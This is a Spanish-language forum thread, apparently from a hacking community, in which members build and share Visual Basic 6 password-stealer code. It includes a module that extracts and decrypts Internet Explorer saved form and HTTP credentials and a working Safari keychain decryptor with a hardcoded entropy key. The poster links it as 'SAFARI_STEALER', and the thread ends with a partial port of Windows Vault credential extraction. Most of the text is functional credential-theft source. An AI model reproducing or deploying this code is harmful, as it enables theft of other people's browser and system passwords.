Private Declare Sub CopyBytes Lib "msvbvm60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
'// crypt32.dll
Private Declare Function CryptUnprotectData Lib "crypt32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
'// advapi32.dll
'-- Registry
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
'-- Microsoft Cryptographic Provider
Private Declare Function CryptAcquireContext Lib "advapi32" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As Long, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32" (ByVal hProv As Long, ByVal Algid As Long, ByVal hKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32" (ByVal hHash As Long, ByVal pbData As Long, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptGetHashParam Lib "advapi32" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pByte As Long, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptSignHash Lib "advapi32" Alias "CryptSignHashA" (ByVal hHash As Long, ByVal dwKeySpec As Long, ByVal sDescription As Long, ByVal dwFlags As Long, ByVal pbSignature As Long, ByRef pdwSigLen As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32" (ByVal hHash As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CredEnumerate Lib "advapi32" Alias "CredEnumerateW" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'// wininet.dll
'-- History
Private Declare Function FindFirstUrlCacheEntry Lib "wininet" Alias "FindFirstUrlCacheEntryA" (ByVal lpszUrlSearchPattern As String, lpFirstCacheEntryInfo As Any, lpdwFirstCacheEntryInfobufDataerSize As Long) As Long
Private Declare Function FindNextUrlCacheEntry Lib "wininet" Alias "FindNextUrlCacheEntryA" (ByVal hEnumHandle As Long, lpNextCacheEntryInfo As Any, lpdwNextCacheEntryInfobufDataerSize As Long) As Long
'// misc
Private Declare Function lstrlenA Lib "kernel32" (ByVal ptr As Any) As Long
Private Declare Function lstrcpyA Lib "kernel32" (ByVal RetVal As String, ByVal ptr As Long) As Long
Private Declare Function SysAllocString Lib "oleaut32" (ByVal pOlechar As Long) As String
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type StringIndexHeader
dwWICK As Long
dwStructSize As Long
dwEntriesCount As Long
dwUnkId As Long
dwType As Long
dwUnk As Long
End Type
Private Type StringIndexEntry
dwDataOffset As Long
ftInsertDateTime As FILETIME
dwDataSize As Long
End Type
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Private Type CREDENTIAL
dwFlags As Long
dwType As Long
lpstrTargetName As Long
lpstrComment As Long
ftLastWritten As FILETIME
dwCredentialBlobSize As Long
lpbCredentialBlob As Long
dwPersist As Long
dwAttributeCount As Long
lpAttributes As Long
lpstrTargetAlias As Long
lpUserName As Long
End Type
Private Type INTERNET_CACHE_ENTRY_INFO
dwStructSize As Long
lpszSourceUrlName As Long
lpszLocalFileName As Long
CacheEntryType As Long
dwUseCount As Long
dwHitRate As Long
dwSizeLow As Long
dwSizeHigh As Long
LastModifiedTime As FILETIME
ExpireTime As FILETIME
LastAccessTime As FILETIME
LastSyncTime As FILETIME
lpHeaderInfo As Long
dwHeaderInfoSize As Long
lpszFileExtension As Long
dwExemptDelta As Long
End Type
'// history private constants.
Private Const NORMAL_CACHE_ENTRY As Long = &H1
Private Const URLHISTORY_CACHE_ENTRY As Long = &H200000
'// registry private constants
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const IE_KEY As String = "Software\Microsoft\Internet Explorer\IntelliForms\Storage2"
Private Const READ_CONTROL As Long = &H20000
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_ENUMERATE_SUB_KEYS As Long = &H8
Private Const KEY_QUERY_VALUE As Long = &H1
Private Const KEY_NOTIFY As Long = &H10
Private Const KEY_READ As Long = ((READ_CONTROL Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const ERROR_SUCCESS As Long = 0&
'// cryptography private constants
Private Const PROV_RSA_FULL As Long = 1&
Private Const ALG_CLASS_HASH As Long = (4 * 2 ^ 13)
Private Const ALG_TYPE_ANY As Long = 0
Private Const ALG_SID_SHA As Long = 4
Private Const CALG_SHA As Long = (ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_SHA)
Private Const HP_HASHVAL As Long = &H2
Private hKey As Long
Private m_Data As String
Private m_Storage() As String
Private i As Integer '// counter variable. global scope 'cause I don't feel like redeclaring it
Public Function GetIE() As String
'On Local Error Resume Next
Dim x As Integer
Dim strOut() As String, strSplit() As String, strHash() As String
m_Data = vbNullString: Erase m_Storage: hKey = 0 ' clear out previous data
Call GetStorage2 ' Intelliforms passwords
Call GetCredentials ' Authenticated passwords (like .htaccess related creds).
If Len(m_Data) = 0 Then Exit Function
strOut = Split(m_Data, vbFormFeed)
ReDim Preserve m_Storage(0 To UBound(strOut) - 1)
For i = 0 To UBound(strOut) - 1
strSplit = Split(strOut(i), vbVerticalTab)
For x = 0 To UBound(m_Storage) '.. Don't re-add similar data to queue.
If m_Storage(x) = strSplit(3) And m_Storage(x) <> "n/a" Then GoTo skipMsg
Next x
GetIE = GetIE & "URL: " & strSplit(0) & vbCrLf & "Username: " & strSplit(1) & vbCrLf & "Password: " & strSplit(2) & vbCrLf & "Hash: " & strSplit(3) & vbCrLf & vbCrLf
skipMsg:
m_Storage(i) = strSplit(3)
Next i
End Function
Private Sub GetCredentials()
Dim tmp As String, sRes As String, sURL As String, tAuth() As String
Dim ptrData As Long, dwNumCreds As Long, lpCredentials As Long
Dim bufData(36) As Integer, x As Integer
Dim m_Cred As CREDENTIAL, dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
Call CredEnumerate(StrPtr("Microsoft_WinInet_*"), 0, dwNumCreds, lpCredentials)
If dwNumCreds Then '.. We have credentials listed.
For i = 0 To dwNumCreds - 1
CopyBytes 4&, ByVal VarPtr(ptrData), ByVal lpCredentials + (i) * 4: CopyBytes LenB(m_Cred), ByVal VarPtr(m_Cred), ByVal ptrData
sRes = CopyString(m_Cred.lpstrTargetName): dataEntry.cbData = 74
For x = 0 To 36: bufData(x) = CInt(Asc(Mid("abe2869f-9b47-4cd9-a358-c22904dba7f7" & vbNullChar, x + 1, 1)) * 4): Next
dataEntry.pbData = VarPtr(bufData(0)): dataIn.pbData = m_Cred.lpbCredentialBlob: dataIn.cbData = m_Cred.dwCredentialBlobSize: dataOut.cbData = 0: dataOut.pbData = 0
Call CryptUnprotectData(dataIn, ByVal 0&, ByVal VarPtr(dataEntry), ByVal 0&, ByVal 0&, 0, dataOut)
tmp = Space(dataOut.cbData \ 2 - 1)
CopyBytes dataOut.cbData, ByVal StrPtr(tmp), ByVal dataOut.pbData
tAuth = Split(tmp, ":"): x = InStr(Mid$(sRes, 19), "/")
If x > 0 Then
sURL = Mid$(sRes, 19, x - 1)
Else
sURL = Mid$(sRes, 19)
End If
m_Data = m_Data & sURL & vbVerticalTab & tAuth(0) & vbVerticalTab & tAuth(1) & vbVerticalTab & "n/a" & vbFormFeed
Next
End If
End Sub
Private Sub GetStorage2()
Dim tmp As String, sRet As String, sHash As String
Dim m_Cache As Long, dwSize As Long, cbData As Long
Dim x As Integer, z As Integer
Dim bufData() As Byte
Dim m_URL As INTERNET_CACHE_ENTRY_INFO
If RegOpenKeyEx(HKEY_CURRENT_USER, IE_KEY, 0&, KEY_READ, hKey) <> ERROR_SUCCESS Then Exit Sub
Do
sRet = Space(4096)
If RegEnumValue(hKey, z, sRet, 4096, 0, ByVal 0&, ByVal 0&, ByVal 0&) <> 0 Then Exit Do
sRet = StripTerminator(sRet) '... Remove vbNullChar's
m_Cache = FindFirstUrlCacheEntry(vbNullString, ByVal 0&, dwSize)
If dwSize Then
ReDim bufData(dwSize - 1): CopyBytes 4&, bufData(0), dwSize
m_Cache = FindFirstUrlCacheEntry(vbNullString, bufData(0), dwSize)
Else
Exit Sub '.. Recently cleared his history?
End If
Do
CopyBytes LenB(m_URL), m_URL, bufData(0)
If (m_URL.CacheEntryType And (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY)) = (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY) Then
tmp = Trim(GetStrFromPtrA(m_URL.lpszSourceUrlName))
x = InStr(tmp, "file://") ' Don't scan local files
If x Then GoTo Nxt
x = InStr(tmp, "@") ' Don't need "Visited" shit
If x Then tmp = Mid(tmp, x + 1)
x = InStr(tmp, "?") ' Algorithm doesn't use data past ?
If x Then tmp = Left(tmp, x - 1)
tmp = LCase(tmp) '.. Seems lower-case is the way to be for IE ;). This is 100% necessary.
sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
If sHash = sRet Then
RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
Else
tmp = tmp & "/" '.. Some urls are hashed with / appended at end. We just gotta add a / to every url we have and try or we fucked!
sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
If sHash = sRet Then
RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
End If
End If
End If
Nxt:
dwSize = 0: Call FindNextUrlCacheEntry(m_Cache, ByVal 0&, dwSize)
If dwSize Then
ReDim bufData(dwSize - 1)
CopyBytes 4&, bufData(0), dwSize
End If
Loop While FindNextUrlCacheEntry(m_Cache, bufData(0), dwSize)
z = z + 1
Loop
End Sub
Private Sub DecryptData(sURL As String, sHash As String, ByVal cbData As Long)
Dim sUsername As String, sPassword As String
Dim ptrData As Long, ptrEntry As Long
Dim hIndex As StringIndexHeader, eIndex As StringIndexEntry
Dim dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
Dim bufData() As Byte
ReDim bufData(cbData - 1)
Call RegQueryValueEx(hKey, sHash, 0&, 3, bufData(0), cbData)
dataIn.cbData = cbData: dataIn.pbData = VarPtr(bufData(0))
dataEntry.cbData = (Len(sURL) + 1) * 2: dataEntry.pbData = StrPtr(sURL)
Call CryptUnprotectData(dataIn, 0&, ByVal VarPtr(dataEntry), 0&, 0&, 0&, dataOut)
ReDim bufData(dataOut.cbData - 1)
CopyBytes dataOut.cbData, bufData(0), ByVal dataOut.pbData
CopyBytes Len(hIndex), hIndex, bufData(bufData(0))
If hIndex.dwType = 1 Then
If hIndex.dwEntriesCount >= 2 Then ' We need both username & password
ptrEntry = VarPtr(bufData(bufData(0))) + hIndex.dwStructSize
ptrData = ptrEntry + hIndex.dwEntriesCount * Len(eIndex)
If ptrData = 0 Or ptrEntry = 0 Then Exit Sub
For i = 1 To hIndex.dwEntriesCount / 2
If i <> 1 Then ptrEntry = ptrEntry + Len(eIndex)
CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
sUsername = Space(eIndex.dwDataSize)
If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
CopyBytes eIndex.dwDataSize * 2, ByVal StrPtr(sUsername), ByVal ptrData + eIndex.dwDataOffset
Else
CopyBytes eIndex.dwDataSize, ByVal sUsername, ByVal ptrData + eIndex.dwDataOffset
End If
ptrEntry = ptrEntry + Len(eIndex)
CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
sPassword = Space(eIndex.dwDataSize)
If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
Call CopyBytes(eIndex.dwDataSize * 2, ByVal StrPtr(sPassword), ByVal ptrData + eIndex.dwDataOffset)
Else
Call CopyBytes(eIndex.dwDataSize, ByVal sPassword, ByVal ptrData + eIndex.dwDataOffset)
End If
m_Data = m_Data & sURL & vbVerticalTab & sUsername & vbVerticalTab & sPassword & vbVerticalTab & sHash & "/" & i & vbFormFeed
Next i
End If
End If
End Sub
Private Function GetSHA1Hash(ByVal pbData As Long, ByVal dwDataLen As Long) As String
Dim hProv As Long, hHash As Long
Dim bufData(20) As Byte
Call CryptAcquireContext(hProv, 0&, vbNullString, PROV_RSA_FULL, 0&)
Call CryptCreateHash(hProv, CALG_SHA, 0&, 0&, hHash)
Call CryptHashData(hHash, pbData, dwDataLen, 0&)
Call CryptGetHashParam(hHash, HP_HASHVAL, ByVal VarPtr(bufData(0)), 20, 0)
Call CryptDestroyHash(hHash)
Call CryptReleaseContext(hProv, 0&)
For i = 0 To 19: GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(bufData(i)), 2): Next
GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(CheckSum(GetSHA1Hash)), 2)
End Function
Private Function CheckSum(s As String) As Byte
Dim sum As Long
For i = 1 To Len(s) Step 2: sum = sum + Val("&H" & Mid(s, i, 2)): Next
CheckSum = CByte(sum Mod 256)
End Function
Private Function StripTerminator(s As String) As String
Dim z As Integer
z = InStr(1, s, vbNullChar)
If z > 0 Then
StripTerminator = Left$(s, z - 1)
Else
StripTerminator = s
End If
End Function
Private Function CopyString(ByVal ptr As Long) As String
If ptr Then
CopyString = StrConv(SysAllocString(ptr), vbFromUnicode)
Else
CopyString = vbNullString
End If
End Function
Private Function GetStrFromPtrA(ByVal lpszA As Long) As String
GetStrFromPtrA = String$(lstrlenA(ByVal lpszA), 0)
Call lstrcpyA(ByVal GetStrFromPtrA, ByVal lpszA)
End Function
-
HOLA!!!
Chicos, ahora estoy haciendo un recovery para safari...
Tengo problemas con la cryptoapi, siempre que la llamo me da false...
Estoy haciendo todo como dice:
http://securityxploded.com/safari-password-secrets.php
Pero no se que es lo que pasa, alguno podria revisar mi codigo (es borrador, sepan disculpar el desorden)
http://www.mediafire.com/download/mv1l8mds4sdi8pi/SAFARI_STEALER.rar
Desde ya muchas gracias :D
GRACIAS POR LEER!!!
-
Hola trate de pasar en limpio lo principal o lo que no funciona, pero no lo desencripta, mi duda es si esa clave sigue siendo la misma con a la version del safari con el que generaste el xml
Option Explicit
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (ByRef Ptr() As Any) As Long
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Private Sub Form_Load()
Dim tBlobIn As DATA_BLOB
Dim tEntropy As DATA_BLOB
Dim tBlobOut As DATA_BLOB
Dim i As Long
Dim bArrayKey() As Byte
Dim bArrayData() As Byte
Const skey = "1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91636F6D2E6170706C652E536166617269"
Const sBase64 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9+j0xt/9LkOdE1/xsvp9JwAAAAACAAAAAAADZgAAqAAAABAAAACIDO9x8WZzzKVyXF0pLsD2AAAAAASAAACgAAAAEAAAADKF081Akdzvx2bH3rQslViIAAAA7uR2VSW3cmYzHYbGI0k8tCZYwuuM/2s8+XMwVRGY7N4bwNzYTQH3XPtA4oPHP5by2QR25477j+cBoZ2N9G5F43RkPuQIjokssPkNls1l6rVVSg1X4yaCFghzN0/R2iLPG14LOluJweNWDU+duGj5QYs5dqybyJwH3/tDaGcU7QGDVfHW0qjCGRQAAADefkJlNR07PlYSnDEpe0X4w1jK6A=="
'----- tEntropy
ReDim bArrayKey(Len(skey) / 2 - 1)
For i = 0 To Len(skey) - 1 Step 2
bArrayKey(i / 2) = CByte("&h" & Mid$(skey, i + 1, 2))
Next
tEntropy.cbData = UBound(bArrayKey) + 1
tEntropy.pbData = VarPtr(bArrayKey(0))
'----
'---- tBlobIn
bArrayData = Base64Decode(sBase64)
tBlobIn.cbData = UBound(bArrayData) + 1
tBlobIn.pbData = VarPtr(bArrayData(0))
'----
If CryptUnprotectData(tBlobIn, 0&, tEntropy, 0&, 0&, 0&, tBlobOut) Then
MsgBox "Ok"
Else
Debug.Print Err.LastDllError
End If
End Sub
Private Function Base64Decode(ByVal vCode As String) As Byte()
Dim oXML, oNode
Dim vResults As Variant
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.Text = vCode
vResults = oNode.nodeTypedValue
MoveArrayToVariant vResults, Base64Decode, False
Set oNode = Nothing
Set oXML = Nothing
End Function
'Autor: LaVolpe
Private Sub MoveArrayToVariant(inVariant As Variant, inArray() As Byte, Mount As Boolean)
Const VT_BYREF As Long = &H4000&
' Variants are used a bit in this project to allow functions to receive
' multiple variable types (objects, strings, handles, arrays, etc) in a single parameter.
' When arrays are passed, don't want to unnecessarily copy the array
' if a copy isn't needed. But setting one variant to another that contains
' arrays, copies are made. With large arrays, performance suffers.
' So... this routine moves an array in/out of a variant and vice versa
' without making a copy of the array. We're just swapping pointers
' When mounting array to variant, the inVariant parameter can contain anything or nothing
' When dismounting array from variant, the inVariant parameter MUST contain a return byte array
Dim bDummy() As Byte, srcAddr As Long, dstAddr As Long
If Mount Then ' moving array to variant
inVariant = bDummy() ' ensure target contains null byte array
CopyMemory dstAddr, ByVal VarPtr(inVariant), 2& ' get that null array's pointer
If (dstAddr And VT_BYREF) Then
CopyMemory dstAddr, ByVal VarPtr(inVariant) + 8&, 4&
Else
dstAddr = VarPtr(inVariant) + 8&
End If
srcAddr = VarPtrArray(inArray) ' get source array's pointer
Else ' moving variant's array to array
Erase inArray() ' ensure source is nulled out
CopyMemory srcAddr, ByVal VarPtr(inVariant), 2& ' get source array's pointer
If (srcAddr And VT_BYREF) Then
CopyMemory srcAddr, ByVal VarPtr(inVariant) + 8&, 4&
Else
srcAddr = VarPtr(inVariant) + 8&
End If
dstAddr = VarPtrArray(inArray) ' get target array's pointer
End If
CopyMemory ByVal dstAddr, ByVal srcAddr, 4& ' swap pointers
CopyMemory ByVal srcAddr, 0&, 4& ' null arrays have a null SafeArray pointer
End Sub
parece estar todo bien, pero CryptUnprotectData no funciona.
-
HOLA!!!
Si, debe ser eso... el salt debe cambiar de version en version...
Voy a mandarle un correo al admin de esa web a ver si me dice como sacar el salt.
Gracias Lea, los mantengo informados con este hilo!
GRACIAS POR LEER!!!
-
Hola me descargue el safari (5.1.7) y ahora si me funciona, yo solo probe con el xml que estaba dentro de la carpeta de descarga que pusiste, quizas vos por seguridad lo modificaste ?¿ , asi que me meti en un par de cuentas puse recordar contraseñas llame al plutil.exe y funciono bien.
Option Explicit
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (ByRef Ptr() As Any) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Public Function Enumerate() As String
Dim Keychain_path As String
Dim Plutils_path As String
Dim TempDir As String
Dim tBlobIn As DATA_BLOB
Dim tEntropy As DATA_BLOB
Dim tBlobOut As DATA_BLOB
Dim i As Long
Dim bArrayKey() As Byte
Dim bArrayData() As Byte
Dim XMLRead As Object
Dim NodeList As Object
Dim Elem As Object
Dim sPass As String
Dim abData() As Byte
On Error GoTo fail
Const skey = "1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91636F6D2E6170706C652E536166617269"
Keychain_path = Environ("APPDATA") & "\Apple Computer\Preferences\keychain.plist"
Plutils_path = Environ("PROGRAMFILES") & "\Safari\Apple Application Support\plutil.exe"
TempDir = Environ("TEMP")
ShellAndWait Chr(34) & Plutils_path & Chr(34) & " -convert xml1 -s -o " & TempDir & "\k.xml " & Chr(34) & Keychain_path & Chr(34), vbHide
ReDim bArrayKey(Len(skey) / 2 - 1)
For i = 0 To Len(skey) - 1 Step 2
bArrayKey(i / 2) = CByte("&h" & Mid$(skey, i + 1, 2))
Next
tEntropy.cbData = UBound(bArrayKey) + 1
tEntropy.pbData = VarPtr(bArrayKey(0))
Set XMLRead = CreateObject("Microsoft.XMLDOM")
XMLRead.async = False
XMLRead.Load (TempDir & "\k.xml")
Set NodeList = XMLRead.getElementsByTagName("dict/array/dict")
For Each Elem In NodeList
bArrayData = Base64Decode(Elem.childNodes(7).Text)
tBlobIn.cbData = UBound(bArrayData) + 1
tBlobIn.pbData = VarPtr(bArrayData(0))
If CryptUnprotectData(tBlobIn, 0&, tEntropy, 0&, 0&, 0&, tBlobOut) Then
ReDim abData(0 To tBlobOut.cbData - 1)
CopyMemory abData(0), ByVal tBlobOut.pbData, tBlobOut.cbData
sPass = Mid(Replace(StrConv(abData, vbUnicode), Chr(0), vbNullString), 2) 'no me gusta
LocalFree tBlobOut.pbData
Enumerate = Enumerate & "Acount: " & Elem.childNodes(1).Text & vbCrLf
Enumerate = Enumerate & "Password: " & sPass & vbCrLf
Enumerate = Enumerate & "Server: " & Elem.childNodes(19).Text & vbCrLf
Enumerate = Enumerate & String(10, "-") & vbCrLf
End If
Next
Set NodeList = Nothing
Set XMLRead = Nothing
Exit Function
fail:
Debug.Print "cuec!"
End Function
Private Sub ShellAndWait(ByVal program_name As String, ByVal window_style As VbAppWinStyle)
Dim process_id As Long
Dim process_handle As Long
Const SYNCHRONIZE As Long = &H100000
Const INFINITE As Long = &HFFFFFFFF
' Start the program.
On Error GoTo ShellError
process_id = Shell(program_name, window_style)
On Error GoTo 0
DoEvents
' Wait for the program to finish.
' Get the process handle.
process_handle = OpenProcess(SYNCHRONIZE, 0, process_id)
If process_handle <> 0 Then
WaitForSingleObject process_handle, INFINITE
CloseHandle process_handle
End If
Exit Sub
ShellError:
End Sub
Private Function Base64Decode(ByVal vCode As String) As Byte()
Dim oXML, oNode
Dim vResults As Variant
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.Text = vCode
vResults = oNode.nodeTypedValue
MoveArrayToVariant vResults, Base64Decode, False
Set oNode = Nothing
Set oXML = Nothing
End Function
'Autor: LaVolpe
Private Sub MoveArrayToVariant(inVariant As Variant, inArray() As Byte, Mount As Boolean)
Const VT_BYREF As Long = &H4000&
' Variants are used a bit in this project to allow functions to receive
' multiple variable types (objects, strings, handles, arrays, etc) in a single parameter.
' When arrays are passed, don't want to unnecessarily copy the array
' if a copy isn't needed. But setting one variant to another that contains
' arrays, copies are made. With large arrays, performance suffers.
' So... this routine moves an array in/out of a variant and vice versa
' without making a copy of the array. We're just swapping pointers
' When mounting array to variant, the inVariant parameter can contain anything or nothing
' When dismounting array from variant, the inVariant parameter MUST contain a return byte array
Dim bDummy() As Byte, srcAddr As Long, dstAddr As Long
If Mount Then ' moving array to variant
inVariant = bDummy() ' ensure target contains null byte array
CopyMemory dstAddr, ByVal VarPtr(inVariant), 2& ' get that null array's pointer
If (dstAddr And VT_BYREF) Then
CopyMemory dstAddr, ByVal VarPtr(inVariant) + 8&, 4&
Else
dstAddr = VarPtr(inVariant) + 8&
End If
srcAddr = VarPtrArray(inArray) ' get source array's pointer
Else ' moving variant's array to array
Erase inArray() ' ensure source is nulled out
CopyMemory srcAddr, ByVal VarPtr(inVariant), 2& ' get source array's pointer
If (srcAddr And VT_BYREF) Then
CopyMemory srcAddr, ByVal VarPtr(inVariant) + 8&, 4&
Else
srcAddr = VarPtr(inVariant) + 8&
End If
dstAddr = VarPtrArray(inArray) ' get target array's pointer
End If
CopyMemory ByVal dstAddr, ByVal srcAddr, 4& ' swap pointers
CopyMemory ByVal srcAddr, 0&, 4& ' null arrays have a null SafeArray pointer
End Sub
-
HOLA!!!
Gracias Lea!
(Cuando termine el code se los paso!)
GRACIAS POR LEER!!!
-
HOLA!!!
Aca estoy de nuevo, ya debo estar pesado...
Encontre este codigo (esta comentado) que extrae los logins del windows Vault para W7 y W8.
Me puse a traducirlo, pero como se muy poco de c++ no pude :(
Pueden ver si se puede hacer algo?
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Const VER_PLATFORM_WIN32s = 0
Private Const VER_PLATFORM_WIN32_WINDOWS = 1
Private Const VER_PLATFORM_WIN32_NT As Long = 2
'#define UNICODE
'#include <windows.h>
'
'#include <cstdio>
'#include <string>
'
'#pragma comment(lib, "user32.lib")
'
'VOID showError(DWORD dwError, PWCHAR pFmt, ...) {
' PWCHAR pDetails;
' WCHAR buffer[2048];
'
' if (pFmt != NULL) {
' va_list arglist;
' va_start(arglist, pFmt);
' wvsprintf(buffer, pFmt, arglist);
' va_end(arglist);
' }
' FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
' NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
' (LPWSTR)&pDetails, 0, NULL);
'
' wprintf(L"\n %s : %s", buffer, pDetails);
' LocalFree(pDetails);
'}
'
'typedef HANDLE HVAULT;
'
'#define VAULT_ENUMERATE_ALL_ITEMS 512
'
'GUID Vault_WebCredential_ID =
'{ 0x3CCD5499, 0x87A8, 0x4B10, 0xA2, 0x15, 0x60, 0x88, 0x88, 0xDD, 0x3B, 0x55 };
'
'enum VAULT_ELEMENT_TYPE {
Private Enum VAULT_ELEMENT_TYPE
' ElementType_Boolean = 0,
ElementType_Boolean = 0
' ElementType_Short = 1,
ElementType_Short = 1
' ElementType_UnsignedShort = 2,
ElementType_UnsignedShort = 2
' ElementType_Integer = 3,
ElementType_Integer = 3
' ElementType_UnsignedInteger = 4,
ElementType_UnsignedInteger = 4
' ElementType_Double = 5,
ElementType_Double = 5
' ElementType_Guid = 6,
ElementType_Guid = 6
' ElementType_String = 7,
ElementType_String = 7
' ElementType_ByteArray = 8,
ElementType_ByteArray = 8
' ElementType_TimeStamp = 9,
ElementType_TimeStamp = 9
' ElementType_ProtectedArray = 0xA,
ElementType_ProtectedArray = 10
' ElementType_Attribute = 0xB,
ElementType_Attribute = 11
' ElementType_Sid = 0xC,
ElementType_Sid = 12
' ElementType_Last = 0xD,
ElementType_Last = 13
' ElementType_Undefined = 0xFFFFFFFF
ElementType_Undefined = -1 'ESTO NO SE SI ESTA BIEN
'};
End Enum
'
'enum VAULT_SCHEMA_ELEMENT_ID {
